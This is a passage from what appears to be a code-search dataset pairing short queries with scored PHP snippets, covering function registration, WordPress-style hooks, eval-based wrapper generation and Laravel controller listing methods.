global $$api;\n\n if ($$api === null)\n {\n throw new Exception(\"API '{$api}' not set!\");\n }\n\n $callable = $$api->get($method);\n\n if ($callable === null)\n {\n throw new Exception(\"Method '{$method}' not set!\");\n }\n }\n\n return $this->app->call(\n $callable,\n array_merge([\n '_attributes' => $attributes,\n '_content' => $content\n ], $attributes)\n );\n });\n }", "title": "" }, { "docid": "36d3c3f38fbba84ac7a17df008608d2f", "score": "0.54813945", "text": "function helper_call_custom_function( $p_function, array $p_args_array ) {\n\t$t_function = 'custom_function_override_' . $p_function;\n\n\tif( !function_exists( $t_function ) ) {\n\t\t$t_function = 'custom_function_default_' . $p_function;\n\t}\n\n\treturn call_user_func_array( $t_function, $p_args_array );\n}", "title": "" }, { "docid": "59f768ec4ebc1536813168a8c3bbebc8", "score": "0.5475226", "text": "public function addFunc($x, $y)\n\t{\n\t\treturn $x+$y ;\n\t}", "title": "" }, { "docid": "5b42dc796e386322bb0291bc21e86103", "score": "0.54570425", "text": "public function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {\n\t\t$tag = $this->_get_filter_tag($tag);;\n\t\tadd_filter($tag, $function_to_add, $priority, $accepted_args);\n\t}", "title": "" }, { "docid": "f6dd992406c610eefaee43444844fc78", "score": "0.545636", "text": "static public function registerFirepoint($point, $function) {\n self::$firepoints[$point][] = $function;\n }", "title": "" }, { "docid": "cee4313e41d64dabea90373b962aec55", "score": "0.545158", "text": "public function addFnCall(CBFunctionCall $fnCall)\n {\n if (! in_array($fnCall, $this->_fnCalls, TRUE))\n $this->_fnCalls[] = $fnCall;\n }", "title": "" }, { "docid": "ee88541f77b220aba94fac7b1ab5cf0e", "score": "0.5427595", "text": "public function addMatchingFunc(string $name, Closure $fn): void\n {\n $this->hasPattern = true;\n $this->matchingFunc = $fn;\n }", "title": "" }, { "docid": "e3ccd6f941cc8f0c12049e30e17fa5f7", "score": "0.542308", "text": "function myFunction(){\n echo 'Hola!';\n }", "title": "" }, { "docid": "31642c076b4692089c30ef9a692294ff", "score": "0.54223317", "text": "function my_example_func()\n {\n // code\n }", "title": "" }, { "docid": "883e03d5cf78ef26de8b2637a33d43d6", "score": "0.5421038", "text": "function runkit7_function_redefine(string $funcname, string $arglist, string $code, bool $return_by_reference = null, string $doc_comment = null, string $return_type = null, bool $is_strict = null) : bool {\n}", "title": "" }, { "docid": "cbc904b5bbe1baa3953c3153b6122559", "score": "0.5419172", "text": "function load_method($function_name, $params = '')\n {\n return \"<function>$function_name</function><param>$params</param>\";\n }", "title": "" }, { "docid": "ae11ccadef5b8925f50ac34bf55e236d", "score": "0.5416956", "text": "public function setAddFunction($addFunc)\n {\n $this->addConfig->setAddFunc($addFunc);\n return $this;\n }", "title": "" }, { "docid": "544c6903bec5a25f9290b41b4f37234b", "score": "0.5414294", "text": "protected function addComplexFunc() {\n $this->tokenFactory->addFunction('lteach', function ($arg1, $arg2, $arg3, $arg4, $arg5, $arg6) {\n if($arg6 < $arg5) {\n return $arg4;\n } elseif($arg6 < $arg3) {\n return $arg2;\n } else {\n return $arg1;\n }\n }, 6);\n $this->tokenFactory->addFunction('lteach3', function ($arg1, $arg2, $arg3, $arg4, $arg5, $arg6, $arg7, $arg8) {\n if($arg8 < $arg7) {\n return $arg6;\n } elseif($arg8 < $arg5) {\n return $arg4;\n } elseif($arg8 < $arg3) {\n return $arg2;\n } else {\n return $arg1;\n }\n }, 8);\n $this->tokenFactory->addFunction('elteach', function ($arg1, $arg2, $arg3, $arg4, $arg5, $arg6) {\n if($arg6 <= $arg5) {\n return $arg4;\n } elseif($arg6 <= $arg3) {\n return $arg2;\n } else {\n return $arg1;\n }\n }, 6);\n $this->tokenFactory->addFunction('mulgt', function ($arg1, $arg2, $arg3, $arg4, $arg5, $arg6, $arg7) {\n if($arg7 > $arg6) {\n if($arg5 > $arg4) {\n return $arg3;\n } else {\n return $arg2;\n }\n } else {\n return $arg1;\n }\n }, 7);\n }", "title": "" }, { "docid": "9827b0f94c469062d121e43f482e8ad9", "score": "0.54139537", "text": "public function putScript($func) {\r\n\t\t\t$this->scriptContent .=$func;\r\n\t\t}", "title": "" }, { "docid": "6e3ae380f840a2a7441fc22aaf7522ea", "score": "0.54116786", "text": "public function addNamedMock($functionName, $mockName)\n {\n $this->code = str_replace($functionName, $mockName, $this->code);\n }", "title": "" }, { "docid": "cb6da8738ed2bcd00982541b293aac0e", "score": "0.54093784", "text": "function add($a);", "title": "" }, { "docid": "f29e5cb5d4b65ccb64341d5559a10cbb", "score": "0.5404688", "text": "function runkit7_function_remove(string $funcname) : bool {\n}", "title": "" }, { "docid": "fec64535eaba8a9cba3fc5cec7131ff2", "score": "0.53995895", "text": "public static function add($name = '', $closure) {\n $name = trim($name);\n #var_dump($name);\n if (!$name || !is_callable($closure)) {\n throw new Exception('Bad shortcode closure');\n return false;\n }\n self::$codes[$name] = $closure;\n }", "title": "" }, { "docid": "52a3aff87801026ba1dfe0b98dc5b77f", "score": "0.53970057", "text": "function simpleFunction() {\n echo 'Hello World';\n}", "title": "" }, { "docid": "2ec430083eb3fc049622383a3f6d52bb", "score": "0.5395789", "text": "private function loadMyFunctions()\n\t{\n\t\t// this is probably best for most people\n\t\t$functions = get_defined_functions();\n\t\tforeach($functions['user'] as $index => $function) {\n\t\t\t$this->addFunction($function);\n\t\t}\n\n/*\n\t\t// larger footprint but exposes everything and the kitchen sink\n\t\tforeach(get_defined_functions() as $functions) {\n\t\t\tforeach($functions as $function) {\n\t\t\t\t$this->addFunction($function);\n\t\t\t}\n \t}\n\n\t\t// less expensive, includes only user space functions (most common ... includes all the CI helpers and such)\n\t\t$functions = get_defined_functions();\n\t\tforeach($functions['user'] as $index => $function) {\n\t\t\t$this->addFunction($function);\n\t\t}\n\n\t\t// or, add only what you need\n\t\t$this->addFunction('anchor');\n*/\n\t}", "title": "" }, { "docid": "604a9fb18a217e79037c783f2da4b1cc", "score": "0.5379326", "text": "public function setFunction($function) {\n\t\t$this->function = $function;\n\t}", "title": "" }, { "docid": "283454b222b7b6b22450921af565e3dc", "score": "0.53781444", "text": "public function add_filter($tag, $function_to_add, $priority = 10, $accepted_args = 1) {\n\t\t$this->_filter[$tag][$priority][serialize($function_to_add)] = array('function' => $function_to_add, 'accepted_args' => $accepted_args);\n\t\treturn true;\n\t}", "title": "" }, { "docid": "5b577b818d0345e95baf9144c54cfddd", "score": "0.53772455", "text": "function registerFunction( $event, $function ) {\r\n $this->_events[$event][] = array( $function, $this->_loading );\r\n }", "title": "" }, { "docid": "adb5a1e808a978998b24aa759425304b", "score": "0.5376903", "text": "public function appendContentFunction($functionText, $content_add){\n if($functionText){\n $pos = strpos($functionText, '{');\n $preContent = substr($functionText, 0, $pos + 1);\n $midContent = preg_replace('/}\\s*$/', '', substr($functionText, $pos + 1));\n if($preContent)\n $midContent .= PHP_EOL.rtrim($content_add, \" \\t\\n\\r\\0\\x0B\").PHP_EOL.$this->getNullStr(4).'}';\n return $preContent.$midContent;\n }\n return $functionText;\n }", "title": "" }, { "docid": "4330ec1a8e65f1baf6a446ccd585919b", "score": "0.5375795", "text": "public function installNativeFunction($functionName, callable $callable)\n {\n if (!array_key_exists($functionName, $this->functionNodes)) {\n throw new FunctionNotSupportedException($this->name, $functionName);\n }\n\n $functionNode = $this->functionNodes[$functionName];\n\n if (!$functionNode instanceof NativeFunctionNode) {\n throw new LogicException('Only native function nodes can reference a native function');\n }\n\n $functionNode->setNativeFunctionCallable($callable);\n }", "title": "" }, { "docid": "cddf40a981174b6ade4b6cf871e80dfb", "score": "0.5374847", "text": "public function create($parent, CloudfunctionsFunction $postBody, $optParams = [])\n {\n $params = ['parent' => $parent, 'postBody' => $postBody];\n $params = array_merge($params, $optParams);\n return $this->call('create', [$params], Operation::class);\n }", "title": "" }, { "docid": "1180345eec4f043dab6addbac3847d1f", "score": "0.5372417", "text": "function demo1(){\n echo 'test';\n}", "title": "" }, { "docid": "2554eda0023d8bceaf3e0200383983cf", "score": "0.5372175", "text": "function add_numbers(){\n echo 1 + 2;\n }", "title": "" }, { "docid": "f41c4b2e2f71442ae727344f5a163396", "score": "0.537009", "text": "public function addMapControlFunction($key, $functionString) {\n\t\t$this->mapControlFunctions[$key] = $functionString;\n\t}", "title": "" }, { "docid": "cd4b9074d9a5310dea8759e102953797", "score": "0.5364044", "text": "function define_function($name, $callback) {\n if(function_exists(\"$this->namespace\\\\$name\")) return;\n if(!is_callable($callback)) throw new Error(\"Invalid callable given for function $name\");\n \n if(is_array($callback)) $r = new \\ReflectionMethod($callback[0], $callback[1]);\n else $r = new \\ReflectionFunction($callback);\n \n $params = $comma = '';\n foreach($r->getParameters() as $param) {\n $param_value = \"\\$\".$param->name;\n if($param->isDefaultValueAvailable()) {\n $default_value = $param->getDefaultValue();\n if(is_null($default_value)) $default_value = 'null';\n elseif(is_string($default_value)) {\n if(empty($default_value)) $default_value = \"''\";\n else $default_value = \"'$default_value'\";\n }\n elseif(is_array($default_value)) $default_value = 'array()';\n elseif(is_bool($default_value)) {\n if($default_value) $default_value = \"true\";\n else $default_value = \"false\";\n }\n \n $param_value .= \" = \".$default_value;\n }\n \n $params .= $comma.$param_value;\n $comma = ',';\n }\n \n $caller_class = get_class($this);\n\n $code = \"namespace $this->namespace; function $name($params) { return call_user_func_array(array(\\\\$caller_class::access_scope(), '$name'), func_get_args()); }\";\n eval($code);\n }", "title": "" }, { "docid": "156244b864dec52f31bc21c0db3420d5", "score": "0.5357711", "text": "public function addFunction($name, callable $function = null, $places = 1)\n {\n $this->tokenFactory->addFunction($name, $function, $places);\n\n return $this;\n }", "title": "" }, { "docid": "b186cf2128f5a1c2efd8691d2eec0839", "score": "0.53554225", "text": "function ithumbnail_rehook($name, $oldfunction, $function, $params= \"\", $order= -1) {\n\tglobal $anchors;\n\tforeach ($anchors[$name] as $key=>$anch){\n\t\tif ($anch[0]==$oldfunction) {\n\t\t\t$anchors[$name][$key][0]=$function;\n\t\t\tif ($params!=\"\") $anchors[$name][$key][1]=$params;\n\t\t\tif ($order!=-1) $anchors[$name][$key][2]=$$order;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e86fa3409b64bad43353a1d6c9d22790", "score": "0.5349243", "text": "protected function _function($name) {\n return new FunctionBuilder($name);\n }", "title": "" }, { "docid": "829a99f7b112dbd2367c028e617f33a1", "score": "0.5317672", "text": "public function addPageMethod($name, $function)\n {\n if (!is_callable($function, false, $method)) {\n throw new \\LogicException(\"'{$method}' cannot be called\");\n }\n $this->page->additional[$name] = $function;\n }", "title": "" }, { "docid": "11c32b422ff7c2d3dddeef2619db7a6c", "score": "0.53150487", "text": "function add($a, $b) { return $a + $b; }", "title": "" }, { "docid": "2a970a2a479abffe90e994dbefbd1d43", "score": "0.52829295", "text": "private function setFunction($function)\n {\n $this->function = $function;\n }", "title": "" }, { "docid": "c65bb56328e7cf3f807244ef5d1bd31c", "score": "0.5282566", "text": "public function addAction() {\n\n\t\t$numArgs = func_num_args();\n\n\t\tif( $numArgs < 2 ) {\n\t\t\tthrow new Exception(\"Action requires a hook and a function handler.\");\n\t\t}\n\n\t\t$hook \t= func_get_arg(0);\n\n\t\t$param \t= func_get_arg(1);\n\n\t\tif( count( $param ) != 2 ) {\n\t\t\tthrow new Exception(\"Second argument of the addAction() must be an array with 1st argument as the Controller and 2nd for the function.\");\n\t\t}\n\n\t\tlist( $controller, $function ) = $param;\n\t\t// equivalent to: $controller = $param[0]; $function = $param[1];\n\n\t\t$this->{$controller} = new $controller;\n\t\t\n\t\tif( $numArgs == 2 ) {\n\t\t\tadd_action( $hook, array( $this->{$controller}, $function ) );\n\t\t} else if( $numArgs == 3 ) {\n\t\t\tadd_action( $hook, array( $this->{$controller}, $function ), func_get_arg(2) );\n\t\t} else if( $numArgs == 4 ) {\n\t\t\tadd_action( $hook, array( $this->{$controller}, $function ), func_get_arg(2), func_get_arg(3) );\n\t\t}\n\n\n\t}", "title": "" }, { "docid": "66553ac5d3e445087c6fdd99d90360fb", "score": "0.5281345", "text": "final static function addCustomModifier($prefix, $function) {\n\t\tself::$__custom_modifiers [$prefix] = array (\n\t\t\t\t$prefix,\n\t\t\t\t$function\n\t\t);\n\t\tself::$__modifiers [] = $prefix;\n\t}", "title": "" }, { "docid": "459514d0bce4491fd6cb407f921ce1e7", "score": "0.52786076", "text": "function simpleFunction(){\r\n echo 'Hello World';\r\n}", "title": "" } ]
da0dfe9b89ef01c809846b26c6454b7a
Enter description here . ..
[ { "docid": "85a283b7216676da97523aa77a69b6de", "score": "0.0", "text": "public function indexAction() {\n\n $params = array();\n $page = intval($this->getInput('page'));\n if ($page < 1) $page = 1;\n $search= $this->getInput(array('conf_name'));\n if ($search['conf_name']) {\n $params['conf_name'] = array('LIKE',$search['conf_name']);\n }\n \n \n list($total, $list) =MobgiApi_Service_AbFlowConfModel::getList($page, $this->perpage, $params);\n foreach ($list as $key=>$val){\n $list[$key]['config_num'] = MobgiApi_Service_AbConfRelModel::getCountByFlowId(array('flow_id'=>$val['flow_id']));\n }\n $url = $this->actions['listUrl'].'/?' . http_build_query($search) . '&';\n $this->assign('pager', Common::getPages($total, $page, $this->perpage, $url));\n $this->assign('search', $search);\n $this->assign('total', $total);\n $this->assign('list', $list);\n\n }", "title": "" } ]
[ { "docid": "9c6ac271d78b8feac773da72be9a6c4f", "score": "0.67402196", "text": "protected function doDescruct()\n {\n // intentionally empty\n }", "title": "" }, { "docid": "407b096ffb0ab426f1ce3d2e18bceeb1", "score": "0.6500755", "text": "public function expel();", "title": "" }, { "docid": "cfd67f0b5275bf91b8c9eff065cf4661", "score": "0.6475438", "text": "public function description()\r\n {\r\n echo \"Seo::description<br />\";\r\n }", "title": "" }, { "docid": "610fa94ec30672e077b9aa29339d9f1c", "score": "0.6466113", "text": "static public function description();", "title": "" }, { "docid": "52a7e404cbe0085c69ecbcece4742afd", "score": "0.6407217", "text": "private function foobar(){\n\t \n\t}", "title": "" }, { "docid": "82b2fec70d74bb46c033845355f283e5", "score": "0.63656586", "text": "private function __() {\n }", "title": "" }, { "docid": "652d5981eab561798aa70b4e58b0ffe8", "score": "0.63508654", "text": "public function niceStuffforV57(){\n }", "title": "" }, { "docid": "8dddebf1a5e0e8b48735718c49990751", "score": "0.62880594", "text": "public static function general_description() {\n\n\t}", "title": "" }, { "docid": "a610d4de52fd672e5ed0691339130ee9", "score": "0.62543774", "text": "protected function getDescription()\n {\n }", "title": "" }, { "docid": "190ea0a533a1e0bb2e82cfaddff36220", "score": "0.62395537", "text": "public function def() {\r\n }", "title": "" }, { "docid": "22f0d8e0dd15556da3f9875029ea50a6", "score": "0.62282765", "text": "public function foo(){ \t\n\t\t\n\t}", "title": "" }, { "docid": "e1f369192976c65f5e63d74539319e6e", "score": "0.62215203", "text": "abstract protected function getDescription();", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.6206935", "text": "public function description();", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.6206935", "text": "public function description();", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.6206935", "text": "public function description();", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.6206935", "text": "public function description();", "title": "" }, { "docid": "a7bfeb59d480d09b9b32044cbd80a5f0", "score": "0.6206935", "text": "public function description();", "title": "" }, { "docid": "b31eee8bcb620ab656904570b8cd447a", "score": "0.6200125", "text": "protected function get__description()\n\t{\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "eec4f2448ce3424845fafb35fa54a967", "score": "0.61935943", "text": "public function abjad()\n {\n }", "title": "" }, { "docid": "4e28ec52e9e4273bc3ca78fea2698421", "score": "0.61853373", "text": "function get_brief_display()\n\t{}", "title": "" }, { "docid": "c0236ed72e2f55399366ddb68fa23596", "score": "0.61698353", "text": "public function describe()\n {\n }", "title": "" }, { "docid": "2238f0093007a9e1bd01b62f14c1d7de", "score": "0.6166384", "text": "private function foobar() {\n\n }", "title": "" }, { "docid": "4647a3086f9d2c58d805c3fade46c519", "score": "0.61550003", "text": "abstract public function getDescription();", "title": "" }, { "docid": "4647a3086f9d2c58d805c3fade46c519", "score": "0.61550003", "text": "abstract public function getDescription();", "title": "" }, { "docid": "4647a3086f9d2c58d805c3fade46c519", "score": "0.61550003", "text": "abstract public function getDescription();", "title": "" }, { "docid": "e240739c31a8b87e110200fdc7aa383f", "score": "0.6116388", "text": "public function DemoMethod(){\r\n\t}", "title": "" }, { "docid": "9afc4bb361db590beb79798504bce3e0", "score": "0.6111294", "text": "public function Poks()\n {\n }", "title": "" }, { "docid": "9afc4bb361db590beb79798504bce3e0", "score": "0.6111294", "text": "public function Poks()\n {\n }", "title": "" }, { "docid": "c7f62af2b611f1c2ec0bfdc1d644ef7b", "score": "0.6083299", "text": "public function summary()\n {\n }", "title": "" }, { "docid": "66377e8887ed4d095894fa5f74889717", "score": "0.60802054", "text": "public function __constuct()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "30b49bd280204902d6fa79e04a28f22e", "score": "0.60775775", "text": "abstract public function get_description();", "title": "" }, { "docid": "e08a14e465598f5dd31266d17b67826b", "score": "0.6074971", "text": "function getDescription();", "title": "" }, { "docid": "8a311fac611348f687342f9f57861163", "score": "0.5992133", "text": "public function example()\n {\n //\n }", "title": "" }, { "docid": "5bd4a822ba879a906ae854c4a9d1b04a", "score": "0.5974759", "text": "public function actoin()\n {\n }", "title": "" }, { "docid": "f1bcd1a69a5e32bef5920a5639edeb41", "score": "0.59705645", "text": "abstract public function getDescription(): string;", "title": "" }, { "docid": "8272f0a65012a2c443f3e50a3978c7b9", "score": "0.5962251", "text": "public function help_brief(&$details) {\n\t\t$details[self::CMD_IMPORT] = 'Provides the ability to import code to a virtual class.';\n\t}", "title": "" }, { "docid": "6db6ccabd639c9a86bbac85eec348096", "score": "0.5954111", "text": "public function explain() {}", "title": "" }, { "docid": "905a8b052b4b36b0cfaab3817b0b7ca5", "score": "0.5943225", "text": "public function main()\n {\n \n }", "title": "" }, { "docid": "6497506deba210b19c656fab61ab16eb", "score": "0.5927268", "text": "public function secher()\n {\n }", "title": "" }, { "docid": "5e1cf8c516afc0272ec93ade5f98e24c", "score": "0.59225655", "text": "public function help();", "title": "" }, { "docid": "aa72437ccb1241afa4378b19d4f71e8b", "score": "0.59217423", "text": "function returnTypeWithDescriptionD()\n{\n\n}", "title": "" }, { "docid": "ba083e70676663558ae53fcec1704cc8", "score": "0.59214556", "text": "public function doSomethingAwesome()\n {\n }", "title": "" }, { "docid": "60dec98e223f5599899714a7fd912d75", "score": "0.5905014", "text": "public function display()\n\t{\n\t}", "title": "" }, { "docid": "912381c165a6a3b55300e4a9deb9033c", "score": "0.58942527", "text": "public function __construct\n (\n \n )\n {\n \n }", "title": "" }, { "docid": "6c013986a1246bf0ae44ec18c1162789", "score": "0.5870073", "text": "public function proccess()\n \t{\n\t}", "title": "" }, { "docid": "65cd07f04502171b86efda3a2a2b9a63", "score": "0.5866607", "text": "function setDescription($a_description)\n\t{\n\t\tparent::setDescription($a_description);\n\t}", "title": "" }, { "docid": "6d11286a7084b56df5cad436e181aac9", "score": "0.5860684", "text": "function _usage()\n{\n echo \"i will add a usage statement soon\\n\";\n}", "title": "" }, { "docid": "a3de211b00883116554dc0fd26c6075d", "score": "0.58524126", "text": "public static function description(): string;", "title": "" }, { "docid": "228408c38f6f54a06aafe78e5de68e04", "score": "0.58457726", "text": "public abstract function help();", "title": "" }, { "docid": "738878611115cff2540f61ab90ab9258", "score": "0.58443344", "text": "private function __construct ( /* void */ ) { /* void */ }", "title": "" }, { "docid": "4f0a2e319ee5c1047415a2e83944fd89", "score": "0.58343345", "text": "public function __construct($description) {\n\n $this->description = $description;\n\n }", "title": "" }, { "docid": "c94c43ed7ff22d19ddd37b5604303fe9", "score": "0.5826015", "text": "public function look(){\r\n\t\t//\techo $this->variable_b;\r\n\t\t\techo getDescription();\r\n\t\t}", "title": "" }, { "docid": "fb608361ec2f9bcc7857948154751a50", "score": "0.5823838", "text": "private function __construct()\n\t{\t\t\n\t}", "title": "" }, { "docid": "440190a4bb561b1bfb41381fdf7195cf", "score": "0.58167017", "text": "public function dummy()\n {\n }", "title": "" }, { "docid": "a0072caa27f16484e2710d76f551f0a8", "score": "0.58149344", "text": "function main() {\n\t\t$this->help();\n\t}", "title": "" }, { "docid": "699aa03f98b528ccb0d2c9c19234a624", "score": "0.58039737", "text": "public function testCreate1()\n {\n }", "title": "" }, { "docid": "655b989d471f9fb4c66f6bce09d1094e", "score": "0.5800164", "text": "public function description() { return ''; }", "title": "" }, { "docid": "7ba74cf80319857b879252eb0e239339", "score": "0.57935107", "text": "private function __construct()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "7ba74cf80319857b879252eb0e239339", "score": "0.57935107", "text": "private function __construct()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "201433bb2af3b93189c57497737f4f15", "score": "0.5790576", "text": "function __construct (){\n\t\t\n\t}", "title": "" }, { "docid": "1f7eb58c5f02145ad13e8cc85822ff1a", "score": "0.57896036", "text": "public function __construct()\n\t {\n \n\t \n\t }", "title": "" }, { "docid": "1188564d5cef6548518fc685f36ed834", "score": "0.5778149", "text": "public function getDescription() { }", "title": "" }, { "docid": "86b55a261110f50ec1540494cf7fe0da", "score": "0.57716525", "text": "public function get_desc(){ return $this->desc; }", "title": "" }, { "docid": "1052527c7130476226655caace1510d7", "score": "0.57563794", "text": "public function get_description();", "title": "" }, { "docid": "1052527c7130476226655caace1510d7", "score": "0.57563794", "text": "public function get_description();", "title": "" }, { "docid": "1052527c7130476226655caace1510d7", "score": "0.57563794", "text": "public function get_description();", "title": "" }, { "docid": "2a6c09be8f8f348660c029ef0f90d26b", "score": "0.5750867", "text": "public function show_basic(){\n\n }", "title": "" }, { "docid": "adbc497e6cb5ce63ef0bdd31fc4f9b9e", "score": "0.5735252", "text": "public function describe();", "title": "" }, { "docid": "3d3dd2aacd290ed38dad2cca14190ead", "score": "0.5729732", "text": "function getDescription()\r\n\t{\r\n\t\treturn 'Let you stick one or more items on the index page.';\r\n\t}", "title": "" }, { "docid": "34401037fa73fbcef77f8b6fb252f711", "score": "0.5713564", "text": "public static function example_function() {\n\n }", "title": "" }, { "docid": "f6c4d8a9b97949a5f7a1d89b6beb1496", "score": "0.5709763", "text": "public function test()\n\t{\n\n\t}", "title": "" }, { "docid": "a4fd574c0734e17242f05fc16f20d4e9", "score": "0.57072616", "text": "function hapus(){\r\n }", "title": "" }, { "docid": "b7c06997f63da70befa43e120ae37beb", "score": "0.57026106", "text": "function defineDescription() {\n return 'Import model description from a given database';\n }", "title": "" }, { "docid": "7638e66a97e929d20b2e8fc86e5b15cb", "score": "0.5701368", "text": "public function __construct( ){\n\t\n\t}", "title": "" }, { "docid": "42d48a64aec06772020f837c1da0b7d6", "score": "0.5700183", "text": "private function __construct()\r\n\t{\r\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.56871676", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "141a67d1402dab2e76a70ff6df6e94f7", "score": "0.56871676", "text": "private function __construct()\n\t{\n\t}", "title": "" }, { "docid": "8932cb61b06312d6616b427f84b402b9", "score": "0.5686058", "text": "function __construct()\n \t{ \t\t\n \t}", "title": "" }, { "docid": "7260034e1dc7573fc2f39f9af3553eeb", "score": "0.5683075", "text": "private final function __construct()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "4fb0a6735540a1b6a726ca499d07d4db", "score": "0.56782395", "text": "function __construct()\n\t{\t\t\n\t}", "title": "" }, { "docid": "24830906c8b7d37897c1ff3cbd1fb1c1", "score": "0.56723326", "text": "public function __construct () {\r\r\n\r\r\n\t}", "title": "" }, { "docid": "f60d2554567301f99112e941e59fff7e", "score": "0.56690973", "text": "public function getDescription() {}", "title": "" }, { "docid": "123864eb1ecfc8cf50b38b3b1a5e73ae", "score": "0.5665584", "text": "public function orges()\n {\n }", "title": "" }, { "docid": "668e97560788accd9de1a8d232f09637", "score": "0.566364", "text": "abstract public static function help(): string;", "title": "" }, { "docid": "900784c866878c9102310b76e18f84ab", "score": "0.566108", "text": "public function testRecognizeDescribe()\n {\n }", "title": "" }, { "docid": "337a8beee482ca34a4becf29755572ce", "score": "0.5660645", "text": "public function brosser()\n {\n }", "title": "" }, { "docid": "18d33d9f9997426cc746b859528ef6ff", "score": "0.565794", "text": "private function show() {\r\n\t\t\r\n\t}", "title": "" }, { "docid": "ea0db09f4336a2572e994ff745c2ff4a", "score": "0.56488824", "text": "private function __construct(){\n\t\t\n\t}", "title": "" }, { "docid": "f782c011a50a65b02eefb7966b659c8d", "score": "0.56474364", "text": "public function __construct() {\t}", "title": "" }, { "docid": "22364cfecb172299129fcb42b039ce25", "score": "0.5645519", "text": "public function __construct() {\n\t\t\n\t}", "title": "" }, { "docid": "22364cfecb172299129fcb42b039ce25", "score": "0.5645519", "text": "public function __construct() {\n\t\t\n\t}", "title": "" }, { "docid": "0e59379112512b1f4fc1b3ae6ccaa830", "score": "0.5644822", "text": "private function __construct () {}", "title": "" }, { "docid": "c542e1e5e514f692240370153fe5431f", "score": "0.5640217", "text": "private function __construct() {\n\n \t}", "title": "" }, { "docid": "b03ad53463ec7bc89d0c75c6276516ec", "score": "0.5639784", "text": "public function foo() {\n\n }", "title": "" }, { "docid": "b80e24939b41112f17b67fcd12c3e106", "score": "0.56387264", "text": "public function __construct () {\n\n\n\n\t}", "title": "" }, { "docid": "638297fbb6e9e45e08c5b98979eb48b0", "score": "0.56315154", "text": "function __construct() \n\t{\n\t}", "title": "" }, { "docid": "2aa19c53790902d2004d3c940fb9c1ee", "score": "0.5629691", "text": "function __construct() {\r\n \r\n }", "title": "" }, { "docid": "2aa19c53790902d2004d3c940fb9c1ee", "score": "0.5629691", "text": "function __construct() {\r\n \r\n }", "title": "" }, { "docid": "2aa19c53790902d2004d3c940fb9c1ee", "score": "0.5629691", "text": "function __construct() {\r\n \r\n }", "title": "" }, { "docid": "28c01b743e0812f68576de107e5e5d64", "score": "0.5628469", "text": "public function doSomeWeirdMasterStuff()\n {\n //ladiedah\n }", "title": "" }, { "docid": "c8d09f334ac09f8790bb43f44461a79a", "score": "0.56259483", "text": "public function display() {\r\n }", "title": "" } ]
26d71a0b0829d496c8e6bbe23ccaa28a
Display a listing of the resource.
[ { "docid": "15c46cbc7ac0261ce0fa2e25493cd981", "score": "0.0", "text": "public function index()\n {\n $mamulkkform=mamulkkform::paginate(20);\n return view('mamulkkform.index', compact('mamulkkform'));\n }", "title": "" } ]
[ { "docid": "5d4e963a8d7919c8e89993bd060a7615", "score": "0.77910066", "text": "public function listAction()\n {\n $this->_messenger = $this->getHelper('MessengerPigeon');\n\n\t\tif ($this->_messenger->broadcast()) {\n\t\t\t// disables the back button for 1 hop\n\t\t\t$this->_namespace->noBackButton = true;\n\t\t\t$this->_namespace->setExpirationHops(1);\n\t\t}\n\n\t\t$this->view->assign(array(\n\t\t\t\t'partialName' => sprintf(\n\t\t\t\t\t'partials/%s-list.phtml', $this->_controller),\n\t\t\t\t'controller' => $this->_controller\n\t\t\t)\n\t\t);\n\n\t\t/**\n\t\t * @var Svs_Controller_Action_Helper_Paginator\n\t\t */\n\t\t$this->_helper->paginator(\n $this->_service->findAll($this->_findAllCriteria),\n $this->_entriesPerPage\n );\n\n\t\t$this->_viewRenderer->render($this->_viewFolder . '/list', null, true);\n }", "title": "" }, { "docid": "1632f74e581286fce11b428cee004b2f", "score": "0.72389024", "text": "public function actionlist()\n {\n $this->render('list',array(\n\n ));\n }", "title": "" }, { "docid": "ec9493ef0340397f64bb67b1aea5887e", "score": "0.71599483", "text": "public function listAction()\r\n {\r\n $modelType = $this->modelType();\r\n $this->view->items = $this->dbService->getObjects($modelType);\r\n $this->renderView($this->_request->getControllerName().'/list.php');\r\n }", "title": "" }, { "docid": "effdeaea4d3380c2ef0732f21651687d", "score": "0.71055293", "text": "public function index()\n {\n $resources = $this->resource->all();\n\n return view('laramanager::resources.index', compact('resources'));\n }", "title": "" }, { "docid": "07362c5ae7e016d5baf6bf3f76e0e81c", "score": "0.7078108", "text": "public function listAction() {\n $this->view->category = $this->category->full_List();\n $this->view->alert = $this->params->alert->toArray();\n $this->view->notfound = $this->params->label_not_found;\n }", "title": "" }, { "docid": "626774f0cb5b1be60be2c6a661bcc11a", "score": "0.70482075", "text": "public function listAction()\n {\n $this->view->headTitle('Vehicle Listing ', 'PREPEND');\n $this->view->vehicles = $this->vehicleService->listService();\n }", "title": "" }, { "docid": "6bcdfec0867dafc8b42448cdcf9d2175", "score": "0.70298016", "text": "public function index(){\n $this->show_list();\n }", "title": "" }, { "docid": "a0e66c2a11450ae99c175dd520d5d27a", "score": "0.70175004", "text": "public function index()\n {\n //list\n $list = $this->model->all();\n //return list view\n return view($this->getViewFolder().\".index\",[\n 'list' => $list,\n 'properties' => $this->model->getPropertiesShow(),\n 'resource' => $this->resource\n ]);\n }", "title": "" }, { "docid": "9bcef73798e00117c331333c00edef00", "score": "0.69745755", "text": "public function index()\n {\n return $this->sendResponse($this->resource::collection($this->model->all()));\n }", "title": "" }, { "docid": "fb56645c022f8b4ee60bad747c7c629b", "score": "0.6944796", "text": "public function actionList() {\n $rows = Bul::model()->findAll();\n $this->render('list', array('rows'=>$rows));\n }", "title": "" }, { "docid": "94eb33a8dc9192b76cda156b58de92e8", "score": "0.69039875", "text": "function index()\n\t\t{\t\n\t\t\t\t//Call show_list by default\n\t\t\t\t$this->show_list();\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "b64b879e653308029c5411df996e30a5", "score": "0.68645126", "text": "public function listAll(){\n 